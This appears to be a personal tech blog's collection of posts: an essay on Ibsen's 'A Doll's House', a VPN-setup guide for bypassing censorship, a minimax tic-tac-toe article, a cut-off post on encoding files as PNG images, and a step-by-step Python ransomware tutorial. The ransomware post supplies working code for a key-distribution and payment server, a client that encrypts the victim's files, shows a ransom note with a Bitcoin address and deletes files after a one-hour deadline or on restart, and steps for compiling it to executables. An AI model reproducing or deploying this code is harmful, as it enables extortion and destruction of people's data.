Floppy Disk

A Doll's House in the 21st Century

Mon, 25 Aug 2025 00:00:00 GMT

I was surfing the internet when I came across this video

, a short modern response to Henrik Ibsen’s "A Doll’s House". I had read the play some time ago and also watched a live performance by the wonderful crew of Summer Light Theater.

The title of the video has been chosen carefully to indicate that it's not a condensed representation of the original drama. On the contrary, it tries to picture the core idea behind the original drama in the modern setting. In Ibsen’s play, Nora’s decision to abandon her children stems from a deeper issue: her lack of identity and independence. In the final act, she reflects:

"That’s the way it has been, Torvald. When I was home with Daddy, he told me all his opinions, and so they became my opinions too. If I dis-agreed with him I kept it to myself, for he wouldn’t have liked that. He called me his little doll baby, and he played with me the way I played with my dolls. Then I came to your house"

"I mean that I passed from Daddy’s hands into yours. You arranged everything according to your taste, and so I came to share it—or I pretended to; I’m not sure which. I think it was a little of both, now one and now the other. When I look back on it now, it seems to me I’ve been living here like a pauper—just a hand-to-mouth kind of existence."

"I have been your doll wife here, just the way I used to be Daddy’s doll child."

These all show the real intention of Nora's decision. She was concerned with lack of independence and personal identity. She was invisible in the societal hierarchy; therefore, she decided to leave her family to seek her own life, just to find out who she really is.

The modern version although it is completely something else. The modern Nora does the same and leaves her children, too, but the reasons are different. Some characteristics of the two versions are the same. Some are different, and lots of important details are gone! For example, the absence of the way her husband treats her or the concept of lying to her husband, all make this modern play an improper response in comparison to the original play. For example, in modern version she's married and she has two kids, just like the original play. But the modern Nora is employed, socially visible, and financially independent. At the end, the movie pictures her leaving as a result of "burnout", rather than pursuing her own identity.

Both versions strike me as troubling. Of course, couples part ways for many reasons. This is normal. But when children are involved, abandonment is not something that can be justified by gender differences, independence, or burnout. That part remains unacceptable. But the thing that caught my attention is the reasoning part of the two stories. In 1897, you needed a reason to abandon your children. With a reason, and a bit of biased looking because of gender differences, your abandonment could be considered "fine," and you wouldn't be the bad guy of the story. After all, there was a shame to the action, and you would have needed a reason to justify yourself. The modern era, however, seems to have discarded that need for a reason. The shame itself is gone. The modern narrative suggests that personal dissatisfaction or emotional exhaustion is reason enough. You don't need a grand philosophical manifesto; you just need to not be happy. In that case you are free to do whatever you like. You don't need reasons anymore. You don't need to cover that shame with a mask. This is something that hits me hard and makes me think of the changes we've experienced within just 200 years.

قسمت اول: چالش های آی‌تی؛ یادگیری، دانشگاه، کار و سربازی

Fri, 04 Oct 2024 00:00:00 GMT

Create your own VPN to bypass internet censorship

Mon, 04 Dec 2023 00:00:00 GMT

Introduction

All countries have some limitations or government-imposed restrictions on the internet that ban end-users from accessing certain websites, services, applications, etc. In such countries, end-users face difficulties connecting to the internet and accessing the services they want. They have two options in these situations:

Paying money to technical experts who can provide methods to bypass these restrictions.
Creating their own solutions to bypass those restrictions, though this requires technical knowledge.

If you don't want to read the technical description or just want to skip the fundamentals, go straight to the Getting Started section.

Technical Description

First, let's understand how these restrictions work.
When you want to access something on the internet (like a website, a service, or an application), you first need to find the address of the server hosting that service. If a service is up and running, it means someone, somewhere in the world, programmed it and deployed it on a computer we call a Server, which serves that service to you. Like real-world mail, if you want to send a package to someone, you need their destination address. Without it, you can't send the package. However, there’s a difference between real-world addresses and computer addresses. Real-world addresses can be represented as geo-locational data (latitude and longitude pairs) or as text. With these, you can locate a friend’s house or a new building. But how do you find the address of a computer? What does it even mean? When we talk about a computer’s address, do we mean its geo-locational address? Definitely not! A building’s address is entirely different from a computer’s address, but both follow the same principle:

Every communication system operates based on how it defines its addresses.

So, how are addresses defined in computers? The answer is simple: Protocols.

Protocols

In computing, we have different protocols for different tasks. There’s FTP (File Transfer Protocol), HTTP (Hypertext Transfer Protocol), LDAP (Lightweight Directory Access Protocol), and more. Each protocol is designed for a specific task, and because tasks vary, so do the methods of data transportation. Essentially, protocols handle data transportation in different ways, and because of these differences, they might use different address formats. Yes, they might—they’re not required to. But why? Because protocols can be chained together. They can rely on each other. For example, Protocol A might depend on features from Protocol B, which in turn relies on Protocol C to function as intended. For instance, all the protocols mentioned above (FTP, HTTP, LDAP) rely on a combination of protocols called TCP/IP. These are two separate protocols: TCP (Transmission Control Protocol) and IP (Internet Protocol). When used together, we refer to them as TCP over IP or TCP/IP.

IP

IP is the protocol of the internet. It has 16 versions in total (versions 0 to 15), but only two are actively used in networking today: IPv4 and IPv6. The other versions are either unassigned, abandoned, or obsolete. This protocol assigns an address to a computer. For example, IPv4 addresses consist of four numbers (each less than 256) separated by dots (with an optional suffix), like 192.168.50.88/24. This address reveals several things:

Which network this node belongs to
The network’s capacity
Which nodes can locate this node

TCP

TCP, on the other hand, is the protocol that controls data transmission. It manages how data is sent or received by a node. This protocol alone can’t create what we know as the Internet, which is why we combine it with the IP protocol. Together, they enable computers to:

Have an address and be recognized on networks
Control how data is transmitted between nodes

So, if you’re unable to connect to a website, the issue could lie in the TCP/IP stages—either on your end or the sender’s side. Since you’re not imposing any restrictions, the reason for the connection failure is clear: Your Internet Service Provider (ISP).

ISP

In all countries, the government has unrestricted access to the internet. The government then shares this access—and the ability to provide it as a service—with companies known as ISPs. ISP stands for Internet Service Provider. These companies must comply with government policies. They provide internet to users based on the government’s rules, meaning if the government restricts access to a website, ISPs must do the same—or face penalties or shutdowns. ISPs constantly intercept user requests, check for restricted destinations, and block them.

Now you know that you don’t receive your internet directly from the government. You get it from ISPs. But if you can’t access a website, it’s because the government has restricted it, forcing ISPs to comply (even if they might not agree).

So, what’s the solution? If the government holds all the power, how can you use (almost!) unrestricted internet? The answer is VPNs.

VPN

What is a VPN, and how does it bypass government-imposed internet restrictions? Let’s first review how your request is processed by an ISP:

You send a request to access a website.
The ISP checks if the destination is on its blacklist. If it is, the request is rejected.
If it’s not blacklisted, the ISP forwards your request and returns the result to you.

This system has a flaw. You can send a request to a non-restricted server and ask it to fetch restricted content for you. Since the non-restricted server isn’t bound by your country’s policies, it can access the restricted service on your behalf. But how? You can’t physically travel to another country just to visit a website. Instead, you need to place yourself virtually in the network of a non-restricted server. Once you do this, all your requests appear to originate from that server. Since the non-restricted server is in another country, its ISP processes your request according to that country’s policies. This is called a VPN (Virtual Private Network).

Now, there’s a catch: You need a server in that country to set up a VPN. You can use a VPS (Virtual Private Server). These servers are called "virtual" because you don’t physically access them—instead, you connect remotely using protocols like SSH (Secure Shell) or FTP and execute commands on them.

All you need to do is find a foreign VPS hosting service and purchase a server (if you can’t buy one from your country—like in Iran—some services accept cryptocurrencies). Once you’ve bought a server, the VPS provider gives you a username and password to connect via SSH.

There are different types of VPNs. We’ll use X-ray, along with a graphical panel called 3x-ui, developed by Hossein Sanaei.

Getting Started

First, log in to your server using SSH with this command:

ssh [username]@[Server-IP]

For example:

ssh root@10.0.2.15

Enter your password and press Enter (the password won’t be displayed).

Then, run this command on your VPS:

bash <(curl -Ls https://raw.githubusercontent.com/mhsanaei/3x-ui/master/install.sh)

Full installation instructions and official documentation can be found here.

The script will download or update necessary packages. When prompted to change default settings, type y and press Enter.

If the installation ends like this, the 3x-ui panel has been successfully installed.

Next, log in to the panel. The panel’s address will be:

http://[server_ip]:[default_or_changed_port]

Use the credentials you set during installation. After logging in, click on Panel Settings.

Find Panel URL root path and change it to a custom path starting with / (This enhances security by preventing directory attacks, especially if you use the default panel port).

After making changes, scroll up, click Save, and then Restart panel.

Next, go to the Inbounds page and click Add Inbound.

Configure the following settings:

Under Remark, name your VPN.
Select Vless as the protocol.
Use port 443.
Enable Reality at the bottom.
Open the Client menu.
Set Flow to xtls-rprx-vision.
Enter ftp.debian.org:443 in Dest and ftp.debian.org, www.ftp.debian.org in Server names (you can use any SNI you prefer).
Click Get new key at the bottom, then hit Create.

Once done, click on the VPN menu, and you’ll see a QR code for your X-ray VPN!

Coding a Ransomware Is Easier Than You Think

Thu, 09 Jun 2022 00:00:00 GMT

You’ve probably heard about ransomware attacks in the news. But how difficult do you think it is to code a ransomware program? The truth is, it’s easier than you might imagine. Don’t believe me? Keep reading.

What Is Ransomware?

If you’re unfamiliar with ransomware, it’s a type of malware that typically forces victims to pay a ransom to regain access to their files. Most ransomware encrypts files and demands payment in exchange for decryption. If the victim refuses to pay, the malware may delete the files permanently. The stronger the encryption, the lower the chance of recovering files without paying.

But why am I claiming that writing ransomware is so easy?

Python: A Versatile Tool

In today’s IT landscape, Python can be used to build almost any type of application—from web and mobile apps to games, networking tools, hacking scripts, and even ransomware. Impressive, right?

In this article, we’ll walk through the process of coding a ransomware program step by step using Python.

⚠️ Disclaimer

This article is for educational purposes only, to demonstrate how such programs work. Any illegal use of this knowledge is solely your responsibility. Neither floppydisk.vercel.app nor the author condones or is liable for unauthorized use. Do not test these techniques on any system without explicit permission.

The Basic Scenario

The ransomware’s workflow is straightforward:

Infiltration: The malware enters the target system, often disguised as a harmless file.
Execution: When the victim runs the file, the ransomware begins encrypting their files.
Ransom Demand: After encryption, the victim is notified that their files are locked and must pay to regain access.

But how do we verify payment? And how is the encryption performed? Let’s break it down.

Symmetric Cryptography

Symmetric cryptography uses a single key for both encryption and decryption. Some well-known symmetric encryption algorithms include:

For this ransomware, we’ll use AES-256, where "256" refers to the key size (32 bytes).

Asymmetric Cryptography

Asymmetric cryptography, or public-key cryptography, uses a key pair: a public key for encryption and a private key for decryption. Common algorithms include:

In this project, we’ll encrypt the symmetric AES key using RSA to ensure only the attacker can decrypt it.

Setting Up the Environment

Requirements

First, install the required Python libraries. Download the requirements.txt file, then run:

python3 -m pip install -r requirements.txt

Building the Server

The server handles three main tasks:

Generating RSA key pairs (public and private keys).
Distributing the public key to clients.
Simulating payment verification (in a real attack, you’d use a blockchain API).

Server Code

1. Cryptography Utilities (`crypto.py`)

from Crypto.PublicKey import RSA
from Crypto import Random
from base64 import b64decode
from Crypto.Cipher import PKCS1_OAEP
import base64

def read_public_key(key_file):
    key = open(key_file, "r").read()
    return key.replace("-----BEGIN PUBLIC KEY-----", "").replace("-----END PUBLIC KEY-----", "").replace("\n", "")

def read_private_key(key_file):
    key = open(key_file, "r").read()
    return key.replace("-----BEGIN RSA PRIVATE KEY-----", "").replace("-----END RSA PRIVATE KEY-----", "").replace("\n", "")

def rsa_decrypt(cipherData, crypt_key):
    key = b64decode(crypt_key)
    key = RSA.importKey(key)
    cipher = PKCS1_OAEP.new(key)
    plaintext = cipher.decrypt(b64decode(cipherData))
    return plaintext

def generate_rsa_key_pairs(key_length=2048):
    key = RSA.generate(key_length)
    private_key = key.export_key('PEM')
    public_key = key.publickey().exportKey('PEM')
    with open("private-key.pem", "w") as private_key_file:
        private_key_file.write(private_key.decode())
    with open("public-key.pub", "w") as public_key_file:
        public_key_file.write(public_key.decode())

2. Database Manager (`db.py`)

from tinydb import TinyDB, Query
import os

class Database:
    def __init__(self, dbName, dbPath):
        self.dbName = dbName
        self.dbPath = dbPath if dbPath[-1] == '/' else dbPath + '/'
        self.initilize_db_path(self.dbPath)
        self.db = TinyDB(dbPath + dbName, indent=4, sort_keys=True, separators=(',', ':'))
        
    def initilize_db_path(self, path):
        if not os.path.exists(path):
            os.makedirs(path)
        
    def query(self, table, query):
        table = self.db.table(table)
        return table.search(query)
        
    def insertOrUpdate(self, table, data):
        table = self.db.table(table)
        table.upsert(data, Query().id == data['id'])
        return True
        
    def insert(self, table, data):
        table = self.db.table(table)
        table.insert(data)
        return True
    
    def close_db(self):
        self.db.close()

3. Server Logic (`server.py`)

from flask import Flask, request, jsonify
from tinydb import Query
from db import Database
from crypto import generate_rsa_key_pairs, read_public_key, read_private_key, rsa_decrypt
import os

# Generate key pairs if they don't exist
if not os.path.exists("public-key.pub"):
    generate_rsa_key_pairs()

# Initialize server and database
server = Flask("Ransomware Server")
db = Database("ransomware.json", "./")

# Simulate confirmed transactions
confirmedTransactions = [
    '8cf9637de652a773bf61883283958e76912fb0e1b8c5fd1c175a609df6a80bc4',
    '4558769059f3cc90e0251d2ae5bac26352daa813333f55a2e1850beca2fe456d',
    '01e02a533b37dfe20df1d8d1169e7aaa83d89f9f0509452907fd59ecf7e248ff'
]

@server.route('/api/v1/get_public_key', methods=['GET'])
def get_public_key():
    return jsonify({"public_key": read_public_key("public-key.pub")})

@server.route('/api/v1/payment_check', methods=['POST'])
def payment_check():
    transactionId = request.json['transactionId']
    encryptedKey = request.json['encryptedKey']
    
    if transactionId not in confirmedTransactions:
        return jsonify({"status": "error", "message": "Transaction not confirmed"})
    
    # Check for double-spending
    queryResult = db.query("transactions", Query().id == transactionId)
    if queryResult:
        return jsonify({"status": "error", "message": "Transaction already used"})
    
    # Decrypt the AES key
    private_key = read_private_key("private-key.pem")
    decryptedKey = rsa_decrypt(encryptedKey, private_key)
    
    # Record the transaction
    db.insert("transactions", {
        "id": transactionId,
        "encryptedKey": encryptedKey,
        "key": decryptedKey.decode()
    })
    
    return jsonify({"status": "success", "key": decryptedKey.decode()})

if __name__ == "__main__":
    server.run(host='0.0.0.0', port=9990)

Run the server with:

python3 server.py

Building the Ransomware

1. Cryptography Utilities (`libs/crypto.py`)

from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Util.Padding import pad, unpad
from Crypto import Random
from base64 import b64encode, b64decode
import random

def generate_aes_key(length=32):
    chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-=[]{}|;':,./<>?"
    return ''.join(random.choice(chars) for _ in range(length))

def aes_encrypt(data, key):
    data = pad(data, AES.block_size)
    iv = Random.new().read(AES.block_size)
    cipher = AES.new(key.encode(), AES.MODE_CBC, iv)
    return b64encode(iv + cipher.encrypt(data))

def aes_decrypt(ciphertext, key):
    ciphertext = b64decode(ciphertext)
    iv = ciphertext[:16]
    cipher = AES.new(key.encode(), AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(ciphertext[16:]), AES.block_size)

2. Ransomware Logic (`tarantula.py`)

After implementing the process utilities, paste this code into process.py:

import subprocess
import os

def kill_process(process_name):
    """Terminates a process by name (Linux-specific)."""
    _subprocess = subprocess.Popen(['ps', '-A'], stdout=subprocess.PIPE)
    output, error = _subprocess.communicate()
    for line in output.splitlines():
        if process_name in str(line):
            pid = int(line.split(None, 1)[0])
            os.kill(pid, 9)

The kill_process function terminates the ransomware process after the victim pays the ransom. Next, configure the server details in server.py:

server_addr = "192.168.43.17:9990"  # Replace with your server's IP
public_key_receive = f"http://{server_addr}/api/v1/get_public_key"
payment_check = f"http://{server_addr}/api/v1/payment_check"

Important: Replace server_addr with your actual server IP. The example IP (192.168.43.17) was specific to my local network and won't work elsewhere.

Ransomware Core Implementation (`tarantula.py`)

Begin by importing required libraries:

import datetime
import json
from time import sleep
import os
from libs.crypto import format_public_key, generate_aes_key, rsa_encrypt, aes_encrypt, read_file_list
from threading import Thread
import requests
from libs.server import *

Global Variables

end_time = 0  # Deadline for ransom payment
files_to_exclude = [
    'tarantula', 
    'tarantula-decryptor', 
    'encrypted-key.tarankey', 
    'file-list.taranfls'
]
files = os.listdir(".")  # Files in current directory
encryptKey = ""  # AES encryption key

end_time: Tracks the payment deadline
files_to_exclude: Critical ransomware files (note: .py extensions are omitted since we'll compile to executables)
files: Target files for encryption (limited to current directory for demonstration)
encryptKey: Stores the AES-256 encryption key

File Filtering

# Remove excluded files from target list
for file in files_to_exclude:
    if file in files:
        files.remove(file)

# Handle subdirectories (non-recursive)
for file in files:
    if os.path.isdir(file):
        _files = os.listdir(file)
        for _file in _files:
            files.append(f"{file}/{_file}")

Core Functions

File List Management

def save_files_list():
    """Saves encrypted file paths for later decryption."""
    with open("file-list.taranfls", "w+") as f:
        f.write("\n".join(files))

Terminal Utilities

def change_console_colors():
    """Changes terminal colors (Linux only)."""
    os.system("setterm -term linux -back white -fore red -clear")

def clear_console():
    """Clears the terminal screen."""
    os.system("clear")

def justified_message(message: str, limit: int):
    """Formats text with line breaks at specified character limits."""
    return "\n".join([message[i:i+limit] for i in range(0, len(message), limit)])

Server Communication

def get_server_public_key():
    """Retrieves the RSA public key from the C2 server."""
    try:
        response = requests.get(public_key_receive)
        return json.loads(response.text)['public_key']
    except:
        return ""  # Fail silently

File Operations

def delete_files():
    """Deletes all encrypted files if ransom isn't paid."""
    target_files = read_file_list() if os.path.exists("file-list.taranfls") else files
    for file in target_files:
        try:
            if os.path.exists(file) and os.path.isfile(file):
                os.remove(file)
        except:
            continue
    print("All files deleted.")

Countdown Timer

def calculate_diff_time():
    """Displays and enforces the payment deadline."""
    while datetime.datetime.now() < end_time:
        remaining = end_time - datetime.datetime.now()
        print(f"Remaining time: {remaining}", end="\r")
        sleep(1)
    print("\nTime is up!")
    delete_files()

Encryption Routine

def encrypt_files():
    """Encrypts all target files using AES-256."""
    for file in files:
        if os.path.isfile(file):
            try:
                with open(file, "rb") as f:
                    encrypted = aes_encrypt(f.read(), encryptKey.encode())
                with open(file, "wb") as f:
                    f.write(encrypted)
            except:
                continue  # Skip files that can't be encrypted

Main Execution

def main():
    global encryptKey, end_time
    
    if not os.path.exists("encrypted-key.tarankey"):
        # Initial infection
        encryptKey = generate_aes_key(32)
        encryptedKey = rsa_encrypt(encryptKey, format_public_key(get_server_public_key()))
        
        with open("encrypted-key.tarankey", "w") as f:
            f.write(encryptedKey.decode())

        save_files_list()
        encrypt_files()

        # Ransom note
        username = os.getlogin()
        banner = r"""
     /^\ ___ /^\
            //^\(o o)/^\
        /'<^~``~''~^>`\"""
        
        message = f"""
Hi {username}!

Your files have been encrypted with military-grade AES-256. 
The decryption key is securely stored on our servers. 

************ INSTRUCTIONS ************
1. DO NOT delete these critical files:
   - tarantula
   - tarantula-decryptor  
   - file-list.taranfls
   - encrypted-key.tarankey

2. Deletion will make recovery impossible
3. Terminating this program will trigger immediate file deletion
4. To decrypt your files:
   - Pay 0.01 BTC to: 1A1zP1eP5QGefi2DMPTfP5qqFmYvvoPk2n
   - Submit your transaction ID via tarantula-decryptor
5. You have 1 hour to comply
**************************************
"""
        change_console_colors()
        clear_console()
        print("**************************************")
        print(banner)
        print("**************************************")
        print(justified_message(message, 64))
        
        # Start countdown
        end_time = datetime.datetime.now() + datetime.timedelta(hours=1)
        Thread(target=calculate_diff_time).start()
    else:
        # Secondary execution failsafe
        change_console_colors()
        clear_console()
        print("Warning: Program restart detected! File deletion initiated...")
        delete_files()

if __name__ == "__main__":
    main()

That's it! Ransomware is ready :). Now it's time to code randomware-decryptor.

3. Decryptor (`tarantula-decryptor.py`)

Create a new file named tarantula-decryptor.py and import the required libraries:

import os
import sys
import json
import requests
from colorama import init, Fore, Back
from libs.server import *
from libs.crypto import read_encrypted_key, read_file_list, aes_decrypt
from libs.process import kill_process

# Initialize colorama for colored terminal output
init()

Progress Visualization

Add a function to display decryption progress:

def get_progress_bar(current, total, bar_length=30):
    """
    Returns a progress bar string showing decryption status.
    
    Args:
        current: Number of files processed
        total: Total files to process
        bar_length: Visual length of progress bar
        
    Returns:
        Formatted progress bar string (e.g., "[#####-----] (42% decrypted)")
    """
    progress = int(100 * current / total)
    filled = '#' * int(bar_length * current / total)
    empty = '-' * (bar_length - len(filled))
    return f'[{filled}{empty}] ({progress}% decrypted)'

Payment Verification

Implement the transaction verification flow:

def verify_payment(transaction_id):
    """
    Verifies payment with the C2 server and retrieves decryption key.
    
    Args:
        transaction_id: Bitcoin transaction ID from victim
        
    Returns:
        Decryption key if valid, None otherwise
    """
    print(f"{Fore.YELLOW}Verifying transaction {transaction_id}...{Fore.RESET}\n")
    
    payload = {
        "transactionId": transaction_id,
        "encryptedKey": read_encrypted_key()
    }
    
    try:
        response = requests.post(
            payment_check,
            data=json.dumps(payload),
            headers={"Content-Type": "application/json"}
        )
        return json.loads(response.text)
    except Exception as e:
        print(f"{Fore.RED}Connection error: {str(e)}{Fore.RESET}")
        return {"status": "error", "message": "Server unavailable"}

Main Execution Flow

def main():
    # Get transaction ID from user
    tx_id = input("Enter your Bitcoin transaction ID: ")
    
    # Verify payment
    result = verify_payment(tx_id)
    
    if result['status'] != "success":
        print(f"{Fore.RED}Error: {result['message']}{Fore.RESET}")
        sys.exit(1)
        
    # Payment verified - begin decryption
    decryption_key = result['key']
    print(f"{Fore.GREEN}Payment verified! Retrieving decryption key...{Fore.RESET}")
    print(f"{Fore.BLUE}Decryption Key: {decryption_key}{Fore.RESET}")
    print("="*40)
    
    # Decrypt files
    print(f"{Fore.YELLOW}Starting file decryption...{Fore.RESET}")
    encrypted_files = read_file_list()
    total_files = len(encrypted_files)
    
    for idx, file_path in enumerate(encrypted_files):
        if os.path.isfile(file_path):
            try:
                with open(file_path, "rb") as f:
                    encrypted_data = f.read()
                decrypted_data = aes_decrypt(encrypted_data, decryption_key.encode())
                with open(file_path, "wb") as f:
                    f.write(decrypted_data)
            except Exception as e:
                continue  # Skip files that can't be decrypted
                
            # Update progress
            print(get_progress_bar(idx+1, total_files), end="\r")
    
    # Cleanup
    print(f"\n{Fore.GREEN}Decryption complete!{Fore.RESET}")
    print("="*40)
    print(f"{Fore.YELLOW}Cleaning up...{Fore.RESET}")
    
    cleanup_files = [
        'encrypted-key.tarankey',
        'file-list.taranfls',
        'tarantula'  # Main ransomware executable
    ]
    
    # Terminate ransomware process
    kill_process("tarantula")
    
    # Remove residual files
    for file in cleanup_files:
        try:
            os.remove(file)
        except Exception as e:
            print(f"{Fore.RED}Error removing {file}: {str(e)}{Fore.RESET}")
    
    print(f"{Fore.GREEN}All done! Your files have been restored.{Fore.RESET}")

if __name__ == "__main__":
    main()

Compiling the Ransomware

Convert the scripts to executables using PyInstaller:

pyinstaller -F tarantula.py
pyinstaller -F tarantula-decryptor.py

Final Notes

This article demonstrates how ransomware operates, from encryption to payment verification. Writing or deploying ransomware is illegal and punishable by law. This guide is purely educational.

If you have questions, feel free to ask in the comments!

For the full project, visit the GitHub repository.

::github{repo="0xGeekHub/tarantula"}

How Much Faster Do You Need to Be to Beat AI in Tic-Tac-Toe?

Thu, 02 Jun 2022 00:00:00 GMT

Almost everyone in the world has played tic-tac-toe at least once. It’s a simple game that requires nothing more than a piece of paper and a pen. Some players are so skilled that they can beat almost anyone. However, even the best players cannot defeat an AI in this game. If you doubt this, try playing against this AI first. If you’re unfamiliar with tic-tac-toe or how to play it, read on.

The Game

Tic-tac-toe (American English), noughts and crosses (Commonwealth English), or Xs and Os (Irish English) is a paper-and-pencil game for two players who take turns marking spaces in a three-by-three grid with X or O. The player who succeeds in placing three of their marks in a horizontal, vertical, or diagonal row wins. It is a solved game, meaning the outcome is always a forced draw if both players play optimally.

Wikipedia

How Does the AI Work?

As you might guess, the AI anticipates all your possible moves. There are 9! (read as "nine factorial") possible ways to fill a tic-tac-toe board, totaling 362,880. However, since players take turns placing X or O, many of these options are redundant (like filling the entire board with X). In reality, the board can be filled in 3^9 possible states, which equals 19,683. But how does the AI decide where to place its mark to ensure victory? The answer lies in its decision-making algorithm. So, what is this algorithm, and how does it work?

The Minimax Algorithm

For almost any two-player game where one player’s win means the other’s loss (or a draw is possible), certain AI algorithms can compute the best move to secure a win. These algorithms evaluate all possible opponent responses and score each game state to determine the optimal move. While options like Monte Carlo Tree Search (MCTS) or Alpha-Beta pruning exist, I chose the minimax algorithm for tic-tac-toe because it performs exceptionally well here. Let’s explore how it works.

Imagine you’re X, and the AI is O. Suppose the game reaches this state:

First, we define rules to help the AI score each state. After every move, the AI checks if someone has won. If the AI wins, the state scores +10. If the opponent wins, the state scores -10. A draw results in a score of 0. If the game is still ongoing, the score is calculated based on subsequent possible moves. When the AI makes a decision, it’s called "maximizing"; otherwise, it’s "minimizing."

Now, the AI must decide its next move. It identifies four possible options:

In this scenario, the AI (O) is maximizing. Option 4 results in an immediate win for the AI, scoring +10. For the other states, the game continues, and the AI switches to minimizing mode, evaluating the player’s potential moves. Here’s a diagram illustrating the process:

<div style={{ cursor: "pointer" }} onClick={() => { const img = document.getElementById("ai-flow-img"); if (img.requestFullscreen) { img.requestFullscreen(); } else if (img.webkitRequestFullscreen) { img.webkitRequestFullscreen(); } else if (img.msRequestFullscreen) { img.msRequestFullscreen(); } }}

<img id="ai-flow-img" src="/images/tttai/ai-flow.png" alt="" />
<div class="description" style={{ textAlign: "center", marginTop: "8px" }}>Zoom in to view better (click to fullscreen)</div>

</div>

As you can see, beating the AI in tic-tac-toe is impossible because it evaluates all possible moves faster than any human. The best you can achieve is a draw. If you want a challenge, try playing a variant like 3D tic-tac-toe (though I can’t guarantee an AI won’t be waiting for you there either).

Now, to answer the title’s question: There’s no speed at which you can compute moves that would allow you to beat the AI. Even with the processing power of a quantum computer, defeating the AI is impossible. You can only force endless draws. The only way to "win" is by imposing speed constraints—for example, if each players has to move in 0.001 seconds, and you can compute moves in 0.0000000001 seconds while the AI takes 0.1 seconds. In this case, you’d win not by outplaying the AI but by forcing it to time out.

Implementation

To implement tic-tac-toe with the minimax AI, use a 3x3 array to track the game state. After each player move, call the AI to determine its move. Here’s the AI class I wrote:

class TTT_AI {
    constructor(debug) {
        this.debug = debug;
    }

    setDebug(debug) {
        this.debug = debug;
    }

    randomEmptyPlace(gameBoard) {
        var emptyPlaces = [];
        for (var i = 0; i < gameBoard.length; i++) {
            for (var j = 0; j < gameBoard[i].length; j++) {
                if (gameBoard[i][j] == '') {
                    emptyPlaces.push([i, j]);
                }
            }
        }
        if (emptyPlaces.length == 0) {
            return false;
        } else {
            var randomIndex = Math.floor(Math.random() * emptyPlaces.length);
            return emptyPlaces[randomIndex];
        }
    }

    scores = {
        'O': 10,
        'X': -10,
        'tie': 0
    }

    minimax(gameBoard, depth, isMaximizing) {
        let aiGameBoard = gameBoard;
        let result = checkWinner(aiGameBoard);
        if (result !== false) {
            return this.scores[result];
        }

        if (isMaximizing) {
            let bestScore = -Infinity;
            for (let i = 0; i < aiGameBoard.length; i++) {
                for (let j = 0; j < aiGameBoard[i].length; j++) {
                    if (aiGameBoard[i][j] == '') {
                        aiGameBoard[i][j] = 'O';
                        let score = this.minimax(aiGameBoard, depth + 1, false);
                        aiGameBoard[i][j] = '';
                        bestScore = Math.max(score, bestScore);
                    }
                }
            }
            return bestScore;
        } else {
            let bestScore = Infinity;
            for (let i = 0; i < aiGameBoard.length; i++) {
                for (let j = 0; j < aiGameBoard[i].length; j++) {
                    if (aiGameBoard[i][j] == '') {
                        aiGameBoard[i][j] = 'X';
                        let score = this.minimax(aiGameBoard, depth + 1, true);
                        aiGameBoard[i][j] = '';
                        bestScore = Math.min(score, bestScore);
                    }
                }
            }
            return bestScore;
        }
    }

    pickBestMove(gameBoard) {
        let ai = 'O';
        let bestScore = -Infinity;
        let aiGameBoard = gameBoard;
        var bestMove;
        for (let i = 0; i < aiGameBoard.length; i++) {
            for (let j = 0; j < aiGameBoard[i].length; j++) {
                if (aiGameBoard[i][j] == '') {
                    aiGameBoard[i][j] = ai;
                    let score = this.minimax(aiGameBoard, 0, false);
                    aiGameBoard[i][j] = '';
                    if (score > bestScore) {
                        bestScore = score;
                        bestMove = [i, j];
                    }
                }
            }
        }
        return bestMove;
    }

    action(gameBoard) {
        if (this.debug) {
            console.log('AI is thinking...');
        }
        let bestMove = this.pickBestMove(gameBoard);
        console.log(bestMove);
        return bestMove;
    }
}

To use this AI, create an instance and call the action method, passing the gameBoard array as an argument:

function oAction() {
    var minimaxMovement = _AI.action(gameBoard);
    gameBoard[minimaxMovement[0]][minimaxMovement[1]] = 'O';
}

Here's Github repo containing source code: ::github{repo="0xDeviI/tic-tac-toe-js"}

Conclusion

In this article, I explained how the minimax algorithm works and why it guarantees the AI’s victory in tic-tac-toe. The same algorithm can be applied to other win-lose games like chess. Though, because of the vast amount of possible moves in chess, you may need to use other algorithms, such as alpha-beta pruning, as well.

Pixcode: Everything is in the Pixels

Wed, 18 May 2022 00:00:00 GMT

Have you ever wondered how you could convert any file into an image? Imagine transforming an Excel spreadsheet, a Word document, or even the latest Batman movie into a single image. Sounds intriguing, doesn’t it? If you’re curious about how this works, this article is for you. ✅

The Basic Idea

A week ago, I was brainstorming how to convert almost anything into a consistent format. Think of it like this: You have an orange, a banana, a peach, and other fruits, and you want to turn all of them into apples. But here’s the catch—this transformation shouldn’t be one-way. You should be able to identify which apple was originally an orange, which one was a banana, and so on, so you can reverse the process and retrieve the original fruits. This was the core idea that led me to develop something fascinating—the very topic you’re reading about now.

File Format Transformation

After playing with the fruit analogy, I decided to apply the same concept to the digital world. Instead of fruits, I focused on file formats. I needed an algorithm to convert any file—ZIP, RAR, DOCX, GIF, MP4, etc.—into a valid PNG image. Why PNG? Because I wanted to visually inspect these files on my screen. Simply renaming a file (like ransomware does) wouldn’t work, as the result wouldn’t be a valid PNG. I needed a method to genuinely transform any file into a viewable PNG while ensuring the process was reversible.

Introducing PixCode

I ended up writing a simple Python script that encodes any file into a valid PNG. For example, here’s the result of encoding the Blog's banner logo:

And here’s what happens when you encode a music track, like Tchaikovsky’s Nutcracker Suite:

But how does this all work? How can we convert files into pixels and reverse the process? Let’s break it down.

Understanding the Basics: Number Systems and Conversions

In computing, every character has an ASCII code. For example, the ASCII code for 'A' is 65, and for 'a' it’s 97. In Python, you can convert a character to its ASCII code using the ord function:

ord('a')  # Returns 97

With a simple loop, you can extract the ASCII codes for an entire string. These values are in decimal, but they can also be represented in binary, octal, or hexadecimal. For our purposes, hexadecimal is ideal because colors in digital systems are often represented in hex. For instance, the hex code for red is #FF0000.

Here’s the exciting part: Every six-digit hex color code can be split into three pairs of two digits, each representing a value between 0 and 255 (RGB values). This means we can encode every three characters of a file into a single pixel of a specific color. Pretty cool, right?

The Encoding Algorithm

Let’s outline the steps of the encoding process:

Read the file’s bytes and convert them into an array of hexadecimal values.
Group the hex values into sets of three, with each set representing an RGB color.
Determine the dimensions of the final image by calculating the square root of the total number of color groups (rounded up to the nearest integer).
Map each color group to a pixel, arranging them from top-left to bottom-right, row by row.
Save the result as a PNG file.

The Decoding Algorithm

To reverse the process:

Read all pixels from the encoded image.
